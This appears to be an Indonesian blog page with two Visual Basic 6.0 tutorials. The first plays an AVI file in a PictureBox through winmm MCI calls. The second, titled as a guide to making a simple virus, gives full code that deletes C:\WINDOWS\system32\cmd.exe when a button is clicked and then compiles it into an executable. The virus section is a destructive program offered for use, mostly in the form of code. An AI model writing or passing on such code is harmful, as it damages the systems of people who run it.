MEMAINKAN FILE *.AVI DENGAN PICTURE BOX
Dalam tips kali ini, kita akan mencoba memainkan file dengn extensi avi menggunakan kontrol picture box pada visual basic 6.0. langkahnya sangat mudah, buka sebuah project baru dari visual basic lalu tambahkah pada form 1 command button, 1 picture box dan sebuah modul.
Jika kesemua komponen sudah disiapkan, langkah
selanjutnya copy kode berikut lalu paste ke dalam jendela modul.
'kode ne di copy kedalam modul ya
Declare Function mciSendString Lib "winmm" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Declare Function mciGetErrorString Lib "winmm" Alias _
"mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, _
ByVal uLength As Long) As Long
Declare Function GetShortPathName Lib "kernel32" Alias _
"GetShortPathNameA" (ByVal lpszLongPath As String, _
ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Public Const WS_CHILD = &H40000000
Selanjutnya copy dan paste code berikut kedalam jendela form:
Sub PlayAVIPictureBox(FileName As String, ByVal Window As PictureBox)
Dim RetVal As Long
Dim CommandString As String
Dim ShortFileName As String * 260
Dim deviceIsOpen As Boolean
'Retrieve short file name format
RetVal = GetShortPathName(FileName, ShortFileName, Len(ShortFileName))
FileName = Left$(ShortFileName, RetVal)
'Open the device
CommandString = "Open " & FileName & " type AVIVideo alias AVIFile parent " _
& CStr(Window.hWnd) & " style " & CStr(WS_CHILD)
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal Then GoTo error
'remember that the device is now open
deviceIsOpen = True
'Resize the movie to PictureBox size
CommandString = "put AVIFile window at 0 0 " & CStr(Window.ScaleWidth / _
Screen.TwipsPerPixelX) & " " & CStr(Window.ScaleHeight / _
Screen.TwipsPerPixelY)
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal <> 0 Then GoTo error
'mainkan file
CommandString = "Play AVIFile wait"
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal <> 0 Then GoTo error
'tutup device
CommandString = "Close AVIFile"
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal <> 0 Then GoTo error
Exit Sub
error:
'An error occurred.
'Get the error description
Dim ErrorString As String
ErrorString = Space$(256)
mciGetErrorString RetVal, ErrorString, Len(ErrorString)
ErrorString = Left$(ErrorString, InStr(ErrorString, vbNullChar) - 1)
'tutup device jika dibutuhkan
If deviceIsOpen Then
CommandString = "Close AVIFile"
mciSendString CommandString, vbNullString, 0, 0&
End If
'raise a custom error, with the proper description
Err.Raise 999, , ErrorString
End Sub
Private Sub Command1_Click()
'ganti 'c:\fileaku.avi' dengan file yang ingin kamu mainkan
PlayAVIPictureBox "c:\fileaku.avi", Picture1
End Sub
Membuat virus sederhana dengan VB 6.0
Nah sebelum kita mulai membuat virus, siapkan dulu bahan2 yaitu secangkir kopi atau teh biar lebih fress gitu lho....he3x. Oke klo dah siap mari kita mulai aja
Langkah pertama buka visual basic kamu trus buat new project dengan menggunakan standar.exe, seperti gambar berikut:
Jika sudah, langkah berikutnya tambahkan 2 buah label, 1 buah timer dan 1 buah command button pada form seperti gambar berkut:
Selanjutnya, klik kanan pada form lalu pilih "view source", kemudian copy dan paste kode berikut kedalam jendela kode
Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub
Private Sub Form_Activate()
Timer1.Enabled = False
End sub
Jika semua langkah diatas sudah dilakukan dengan benar, maka selanjutnya tinggal "compile" project melalu menu file>make project.exe
Akhirnya jadi juga virus kita, tapi ingat jangt pernah klik tombol "oke" karena kan menjadi senjata makan tuan.
